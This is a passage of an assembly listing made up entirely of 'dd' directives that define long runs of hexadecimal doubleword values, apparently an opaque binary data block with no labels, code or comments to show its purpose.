dd 5869A02Bh, 0C5E1BF00h, 0D2F1CEE9h, 0FEBC7E38h, 0F3EE1EBAh
dd 3F0280F2h, 66013142h, 0C8986C00h, 37DEFB50h, 741A0172h
dd 0D7C4A78h, 69B03084h, 0D62D8A0Fh, 0EBFB0007h, 5407849h
dd 0F03C6E68h, 4BC68070h, 0E7B0212Dh, 0B745AB03h, 98D662D3h
dd 2DEFE2E3h, 6F004EE8h, 0F8895961h, 587E3C5Ch, 7E5C59h
dd 3D0283DDh, 0AB9322h, 0A73E19A0h, 27E8CAE4h, 33033FE2h
dd 67521687h, 0A593A873h, 700827B5h, 0E000E674h, 0C77230F8h
dd 68D4004Dh, 5731130Eh, 0C1016349h, 0B3E182A2h, 7F49038h
dd 4E560032h, 331883D7h, 88739250h, 0B300667Ah, 8FD2300Fh
dd 0FBCFE6h, 0EC2708C9h, 0E0224418h, 0B62C4BE4h, 9F005CAAh
dd 836F9769h, 0F39D1C6Ch, 0F2AD80A7h, 4A0AF8B8h, 3C3EC57Dh
dd 0BFD9BFD3h, 51ECBBE1h, 0AA9D60C0h, 74077202h, 6015760Dh
dd 5217A74h, 2F7E297Ch, 0C0D11CCFh, 274BC945h, 0E7395DF6h
dd 0F4720065h, 8AF8927Eh, 0AEF20049h, 0FCBAEA24h, 13F8BCC2h
dd 1682DD01h, 49B8D8F8h, 583BDAD4h, 3D385225h, 0D64B2483h
dd 0C05E639Fh, 0F79E90Fh, 8F874F7Fh, 0C09DCF8Fh, 49B592A7h
dd 61C303CCh, 0D7F9D1B0h, 0E3A3DD93h, 0D06CF3B0h, 12E38h
dd 1E13E2A6h, 14FDC17h, 28823302h, 0F8508F38h, 39000A16h
dd 0C46EC31Ch, 163A18B0h, 10E4D1h, 142E8615h, 7F0B96EEh
dd 0D6BC83h, 0E4CF3D80h, 3E2D000Bh, 36740417h, 29029EB0h
dd 3A533F39h, 35E0FF5Fh, 44001C7Eh, 0F9C0C30h, 398595DBh
dd 8C80FF60h, 86B18284h, 44070292h, 0E15C1449h, 88F981AFh
dd 1670092Ah, 4F221D50h
dd 0A08EC798h, 33E190E0h, 3400C213h, 59EC4AC6h, 0E6195D6h
dd 72692CD8h, 50CEAEC0h, 2CB0AD84h, 52382700h, 0E05A3E05h
dd 92620026h, 5B6A7EBAh, 0EA090B72h, 0EC617Ah, 5FE98643h
dd 7BE0024h, 0FE4AC90h, 17FE13E8h, 0BA3E04B8h, 0D33E6782h
dd 0E01CD722h, 9D2730h, 92AA1DA6h, 89BE5EA7h, 2F2B3E02h
dd 60A414C0h, 1BD3A3Dh, 9425FF4h, 0EC51019Ch, 0A0006012h
dd 6CE868E6h, 0FC3108CEh, 32350087h, 33092139h, 0B100C90Dh
dd 5F343CD0h, 0F40B40h, 0C832E1C0h, 765E41EAh, 257AC90Bh
dd 0D3430462h, 0F8838580h, 0F6743FACh, 0B914FA80h, 1790BD38h
dd 80623900h, 793A7578h, 0E87D03E4h, 5D3B2659h, 0C3B8B4CBh
dd 0A300B734h, 3D43B0BBh, 207E49Fh, 3A1A3E48h, 2740240Fh
dd 1F71FAACh, 127E23ECh, 0C326161Dh, 0F3A2EF00h, 3A508084h
dd 5780BC08h, 8AB8AE30h, 3101430Bh, 0E1DA424Fh, 87CC7B9Ch
dd 0F19402E9h, 0BF3C34A6h, 0DE7459D8h, 997F500h, 7BBCC95Ah
dd 3C9100D9h, 3FAF3E6Ch, 0F3002DE7h, 0A012A205h, 0EC249Ah
dd 0F42CF028h, 0F2AAA338h, 2A680E0Bh, 96058347h, 713F898h
dd 12140037h, 3FB24BDCh, 5E006C24h, 0FC7778E0h, 88BE84h
dd 0CF39C307h, 0E147D627h, 0B8EB6400h, 3A080E40h, 4E7D1Ah
dd 3C703389h, 787C527Ah, 248E7E39h, 49000CBDh, 0E03A2CC7h
dd 0F5F2583Bh, 0A007D148h, 703D0E20h, 0D74BCB3Eh, 0F6542702h
dd 63A5FC87h, 0BC28F892h, 44F20E10h, 0D8C0A135h, 9D301411h
dd 1D720201h, 0C0DC9697h, 732A260h, 924FE443h, 7A6E80D8h
dd 94004974h, 60CFD6D0h, 5C9E7Ch, 5880DA12h, 9A1B340Fh
dd 3A51F60Eh, 60F8E0B2h, 72FC5C90h, 98B5A7Fh, 908FAAF3h
dd 0CEBAE680h, 4A125276h, 1903825Fh, 0F3B0C324h, 9854F0D6h
dd 37E0018Eh, 5C84204Ch, 0FC38204Eh, 0D0B0EA04h, 81EA6894h
dd 213B121Fh, 34DF204Fh, 0CEF0B603h, 1F9E9Ch, 1B3C10FCh
dd 43FA0729h, 0F04F6500h, 7BF86E6Ch, 9C3200B8h, 1F06267Ch
dd 0BF0293B3h, 0F3DE7283h, 0FAD668E6h, 5D6A7A70h, 0BB00D011h
dd 0DF4AD378h, 0FE24960Fh, 0CC00FCC4h, 8C8170B0h, 9F0100CEh
dd 0B8C9AB30h, 1A03093Ah, 5E08D00Fh, 5D78A835h, 2469000Bh
dd 0FCBC7AD2h, 0A1E4993Fh, 87A92501h, 0C5E7B63Ah, 0EE4CDC8h
dd 83A295D5h, 3F2F7A0h, 740068F0h, 783E9822h, 574946h
dd 259B3FA8h, 41E462A5h, 0F8FEAC00h, 9354338Fh, 0ECEA01F6h
dd 3904F0F5h, 6DCF4034h, 8100752Dh, 433509E8h, 1F284FC9h
dd 406E3CAAh, 0A8D0877Fh, 0E401B6E7h, 84BA85BFh, 26CCA0DEh
dd 167C0094h, 28AED94Ch, 9302F27Eh, 0F9B0A6C9h, 761350B6h
dd 2DED78E1h, 0CCDEF8F7h, 9E0E0D04h, 324EEE0h, 0EA924210h
dd 0C08C5056h, 23745A94h, 0F2906603h, 0DBA27099h, 0F8C5EAB5h
dd 0CDB8FDh, 0FA25A8E8h, 0C90C6E61h, 20D1140Fh, 2FE140D9h
dd 7F13BE9h, 6C0B2B44h, 7BC0BE58h, 0FCB778A0h, 79DC300h
dd 0F4E7EB88h, 0AC0400E4h, 0CF738E3Eh, 8B000F80h, 78D09349h
dd 22A95Bh, 9CD8D39Ah, 7F72DA98h, 768F7400h, 0BCB5AA2h
dd 8C084C78h, 42D11E00h, 1D880E2Eh, 9F294E00h, 3D4D3CFBh
dd 5D3E0157h, 0E4876827h, 938FC882h, 0F3B2660Eh, 0F0CD45C2h
dd 0DA4F1FEAh, 0BAE09E1Bh, 0A5005787h, 7B5AE067h, 1C1F4CBCh
dd 80E79FA4h, 0A0FD92F3h, 0B2E4219Eh, 96581D03h, 0D0C4C264h
dd 58B88EC9h, 6C005BF9h, 0E3F2E04h, 8C059230h, 0F4AF56A0h
dd 48058F80h, 0C8B23AF6h, 0B4398900h, 24C433CEh, 742EA201h
dd 0A044128Eh, 5FB26660h, 0B44F0EAEh, 0E9C0BE8Eh, 0E310413h
dd 28050790h, 4BF045ECh, 0A2923C80h, 0F6F034Fh, 88CF815Ch
dd 0ADCBA390h, 27F06112h, 0E13E5D80h, 0E95101FAh, 3F6A3C5Ah
dd 2B78C96Dh, 598D1609h, 0A2B11214h, 3FDA3F94h, 58FC00F2h
dd 3A1939ECh, 443B2C2Fh, 623D0049h, 2437A27h, 8A34813Fh
dd 96351EC9h, 973E803Ch, 95AAC277h, 0B87E7170h, 0C3E203AAh
dd 6F2FD30h, 0AF7462D8h, 9B74E04h, 27B0D044h, 0F9E4E5h
dd 5F1DFF4Ch, 8952640Eh, 560241EAh, 3881E975h, 2EB541Ch
dd 22C12EB3h, 428336E0h, 21A3181Eh, 35C32AC0h, 0F583BD2h
dd 0F575AF8h, 92CF7DE0h, 610FAAC9h, 0F9BDE8h, 0FCF4BC34h
dd 38390008h, 3B2D3A12h, 4B003C43h, 9F905524h, 1274976Ch
dd 2C918C2h, 0E2E112C4h, 390CE440h, 3C70142Ch, 0DA834500h
dd 0FE60D353h, 12F0036Ch, 814FEEB8h, 0F3D80AE8h, 0F100DD72h
dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh
dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h
dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh
dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h
dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh
dd 0BD3C3Bh, 0C1C725C2h, 0F9D11C60h, 3ADB9DD6h, 3E6AF880h
dd 83747972h, 0BA934800h, 133F0AC2h, 5FE870h, 767C0F45h
dd 0A68F854Fh, 3E3CF39h, 900EDCF5h, 70409801h, 4E0F018Eh
dd 582D8921h, 0E0B4F5FAh, 760EC359h, 4E86F379h, 0F29F808Eh
dd 4DECE9A4h, 0F13082B9h, 72310C89h, 20491600h, 3D323CBEh
dd 347E23Eh, 6D27663Fh, 99F85EECh, 0AC3825C0h, 6005070Bh
dd 0E6C593CEh, 2504180h, 0C314034Fh, 5DB3285Ah, 0B2D381A8h
dd 0F2BBE309h, 5CD880E6h, 486E2D2Ah, 580570FAh, 0F0817C90h
dd 4E019555h, 0BF5E0F9Eh, 0D6C9C9CFh, 72C2DECCh, 0FA702C60h
dd 765D06AEh, 27008D7Bh, 0D9F641C1h, 7938E9F9h, 4B037946h
dd 7E5FCEEh, 853D7E58h, 2E0591B0h, 16A101ABh, 0FCCFCE20h
dd 92F1C8DFh, 1101CC7Ah, 84321E36h, 0F840563Bh, 22824Ch
dd 4F2A7063h, 8EF60F7Ch, 98CF39h, 0C2A8CBA1h, 3A94E124h
dd 27AE38D3h, 1E200FC5h, 0B3329201h, 0F0C14768h, 0F1A0E288h
dd 0C21F1200h, 0DF27C791h, 0E2F8F641h, 72380F07h, 83E04E15h
dd 64C35CD8h, 0E26FD307h, 0C69049B2h, 924D7F9h, 859FEDD6h
dd 5AFE9170h, 8056B03Ah, 0F8A6F490h, 9A94ABh, 0AAA0D813h
dd 773A394Eh, 3E1E59F0h, 4C0EC49h, 40900C3Dh, 423000BCh
dd 0ADA0997h, 1239E002h, 8E76B857h, 409F84ECh, 98A8BB2Eh
dd 6B30FF3Fh, 9E100326h, 5B133C9Dh, 7C27D400h, 6CC7D461h
dd 7405EE14h, 0F83B1F84h, 84629F96h, 80F99EBAh, 4E740C38h
dd 9D9A2D38h, 6B805678h, 0CFA2E80Fh, 0EECB00E5h, 34030E41h
dd 1CF81694h, 1700FDB8h, 4A384929h, 395D9699h, 890083F9h
dd 0A1278A68h, 0B17BAC61h, 0D26CCB00h, 6436DE2Eh, 184E00FCh
dd 78D82A49h, 3BF01EB8h, 8756C23Bh, 30546C62h, 0C0D375A2h
dd 0EB53CAAh, 0E27E0E50h, 95DF140h, 430E2506h, 63AF3487h
dd 14A4D9h, 3BA03AACh, 3DB43CA5h, 0DE2CC91Fh, 3EB18404h
dd 58882A80h, 0FEDBFEDAh, 1E3F4DFh, 0A861E725h, 71F3F9EFh
dd 6CFBD038h, 70EFA05h, 0FD000D3Fh, 37CF258Eh, 4F3D380Fh
dd 1E558F9Eh, 0C96D8067h, 4EC05881h, 50839502h, 74C8F3BAh
dd 80EB1D7Bh, 0B004F7FAh, 0E4000982h, 1B11C4F1h, 3C533Bh
dd 3E5B3D57h, 4E63265Fh, 0C26B9200h, 50698074h, 0C4C2A09Ch
dd 36AF4B8h, 0F6C97831h, 1000D9BDh, 2775760Bh, 64B5E0h
dd 3ADCAC4Dh, 1C5A2472h, 351A8500h, 0BC9093A7h, 0DBC600A2h
dd 37163896h, 76001D04h, 0C8C50C17h, 8DF40Fh, 6CE1918Bh
dd 539DF999h, 0F2A5FC00h
dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh
dd 0C08CF872h, 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h
dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h
dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh
dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch
dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h
dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h
dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h
dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh
dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh
dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h
dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh
dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h
dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh
dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh
dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h
dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h
dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h
dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h
dd 9EC669D7h, 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh
dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h
dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h
dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h
dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh
dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h
dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h
dd 4386C29h, 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch
dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h
dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h
dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h
dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch
dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h
dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h
dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h
dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h
dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh
dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h
dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh
dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh
dd 92626088h, 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h
dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h
dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h
dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h
dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh
dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h
dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h
dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h
dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h
dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h
dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch
dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h
dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh
dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h
dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh
dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h
dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h
dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h
dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h
dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh
dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch
dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h
dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h
dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h
dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh
dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh
dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h
dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h
dd 608E6163h, 0B7E2B0A5h, 98879703h, 93CEE7C4h, 0E4DAA0D5h
dd 9CBC01E2h, 5804F32Dh, 2794DC09h, 8C07161Eh, 93FE8FC0h
dd 0FE36323Fh, 7E8A3C70h, 3772007Fh, 8640A06Bh, 0A5E21CB4h
dd 1DB89D00h, 15F09ECDh, 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h
dd 0C03CC1E1h, 3E7C0C92h, 5602C11Dh, 0E4C36296h, 1B0BE0FFh
dd 0BE273Fh, 0B64F46DCh, 7449176Ch, 7C5E04D8h, 0C8B3C05Bh
dd 401C5070h, 1C014F0h, 0EE300BA3h, 3A7C32h, 0F916640Ch
dd 2F34B8FDh, 0C6610500h, 0E177310Dh, 0E3B0086h, 29ED25E0h
dd 560028CCh, 2E7353Fh, 741C53Dh, 0FC4992A0h, 0FD51204Dh
dd 59008C20h, 611FFA94h, 76593h, 25923B98h, 9A08E002h
dd 380A9C00h, 1FEC824Ah, 0F77A48DEh, 987C4B00h, 76165C26h
dd 96308312h, 0ACFA4A00h, 12B0D4h, 0BC684FB4h, 7678C0CBh
dd 75C85B3Bh, 50F08B00h, 87F84ACAh, 3F032772h, 0C200D4ECh
dd 7E265814h, 48204A1Ch, 0F413F68Bh, 28EEE292h, 6000FAB7h
dd 68E564E7h, 3E70DE4Ah, 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h
dd 6AA7B8C9h, 0C4E400C0h, 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh
dd 0EB250C9h, 40C61F0h, 0C32A08E0h, 14E6104Ch, 0E318D300h
dd 0F020F21Ch, 285B0086h, 79FBD0C7h, 580E71D2h, 46FA5CF9h
dd 8AE548h, 7CFC78A0h, 8416A29Ch, 8CE8F012h, 13EA5700h
dd 0B682B4h, 0CCE058C0h, 88D860C9h, 2305E71Dh, 2D01BC9Fh
dd 0C0C83166h, 0C93CCCh, 0F0686F40h, 4F2EFD64h, 81709E3Dh
dd 7CECC174h, 84C880F9h, 2FE60078h, 9404418Ch, 65A2E7Ah
dd 0E3C0F5C3h, 760CE2C4h, 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh
dd 2C5FAA70h, 3C100905h, 94A87C78h, 0E15C8A00h, 74F96C12h
dd 84222F00h, 44AE568Ch, 0AAAC01A4h, 0A661B425h, 588240C4h
dd 0BF63064h, 0A4701A00h, 0B8E884D2h, 0B8C752Dh, 16FC9462h
dd 0B84970h, 0A803A47Dh, 6FB02CC1h, 7BB8F80Bh, 1C4107FEh
dd 0A02F3834h, 20704832h, 0F5C5A00h, 6CCB689Ah, 2FF0747Bh
dd 0AB63DC79h, 96F441BFh, 0C04630F8h, 8004353Eh, 0E164C611h
dd 0FA6CE968h, 0AEE70h, 0E285B778h, 0B9E4BC80h, 0C07C3E01h
dd 0C20B9FC8h, 0FAD464F4h, 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h
dd 38800B3Eh, 7C7214D1h, 4FDE00E4h, 0A0E68298h, 120036F4h
dd 0B0AA83A8h, 0F2B4F3h, 4F48D0B8h, 96F69FC0h, 10609C00h
dd 18888597h, 206A3EB0h, 28068480h, 64E808FDh, 1344BC01h
dd 740EF06Ch, 80A8C680h, 88B00F2Fh, 588CC900h, 0DE944FC6h
dd 0D08F0E1Eh, 5263D4CBh
dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h
dd 8490438h, 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh
dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h
dd 4B854E4h, 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh
dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah
dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h
dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh
dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h
dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h
dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch
dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h
dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch
dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh
dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh
dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h
dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h
dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h
dd 51A0BB05h, 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h
dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h
dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh
dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h
dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh
dd 36104837h, 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h
dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h
dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h
dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh
dd 834E548Bh, 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h
dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h
dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh
dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch
dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h
dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h
dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h
dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h
dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh
dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h, 4939012Ah
dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h
dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h
dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch
dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h
dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h, 61022F11h
dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh
dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h
dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h
dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh
dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h
dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h
dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h
dd 13B5A1Fh, 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh
dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h
dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh
dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h
dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h
dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h
dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh
dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h, 0B7EA61E9h
dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h
dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh
dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh
dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh
dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h, 50030A8Eh
dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h
dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h
dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h
dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h
dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh
dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h
dd 0B400A860h, 768BC7DFh, 7DB91A0h, 179A270Ah, 487F006Bh
dd 0EA038997h, 633644D0h, 1504E083h, 18CECDFh, 35586176h
dd 0C46F24BFh, 0E63B5599h, 0EC2B0019h, 17685464h, 0A16A00D0h
dd 0BB2624A3h, 0F47C76F0h, 1DAFDB04h, 8280E69Bh, 88662Ah
dd 650824C9h, 0E978890Fh, 737938h, 50D74341h, 6EC21Dh
dd 69EC54E7h, 1367D3B3h, 3E74EA1Eh, 7B9D3700h, 0CEB45Ch
dd 62574738h, 33B5B6E9h, 61B30800h, 31033CF3h, 2BC33A65h
dd 27BAAE00h, 116A8B22h, 0D925B300h, 3CA1E837h, 0E4481E5Dh
dd 0D29CF6h, 41E2D45Fh, 641C0467h, 0B4FD6F4h, 7FDCC037h
dd 1B6C36Eh, 12E357A1h, 0CA01AA54h, 53458EC0h, 4072200h
dd 0EC5FD244h, 0D3C80020h, 0A96D7C14h, 2A01D9BCh, 0B851CF3Ch
dd 5AC56C31h, 0ED01E0h, 7BCBB39Dh, 69C5ACA6h, 4A6F2500h
dd 2565E2Ah, 88F81410h, 1A00E4DAh, 76A73E27h, 1301EB1Bh
dd 0C0CE492Ch, 92FCD780h, 15850056h, 19D152BFh, 0B50053D4h
dd 0E396C067h, 320482h, 0AA0E3C76h, 0D449596Ch, 771D7C72h
dd 4E8F095Ah, 7EC0FD70h, 9207A7B1h, 3FDC3E27h, 0AFE2DD03h
dd 70F0B084h, 0AD001881h, 0CF147C9Fh, 0A8C26Dh, 6878AC54h
dd 0F73128F3h, 0B033C500h, 9B35B6B1h, 0FC2DE6A8h, 641500C6h
dd 0D104CA8Ah, 0D034BE0h, 81242C8Bh, 4FA0BCEDh, 35557BC3h
dd 870860ECh, 0C7D7034h, 8000B2FCh, 8846068Ah, 1E024707h
dd 9E0575D2h, 0CA129D16h, 500BEF73h, 0C057334Ah, 830F090Dh
dd 0B83F62D6h, 0AFC0130Fh, 674E00Bh, 0F87C2B57h, 0BD5F0731h
dd 0A061A0EBh, 72C13E4Eh, 0F7E883EAh, 5AB928E1h, 0E0C92120h
dd 2BF78B56h, 0A4F3F501h, 0FF58E95Eh, 0C1480282h, 0B2A208E0h
dd 31B5E88Bh, 7D183D9Ch, 0C81A7336h, 143F050Eh, 2140410Eh
dd 31811F0h, 777FF883h, 2C1A903h, 2CF6155Dh, 0C90033A3h
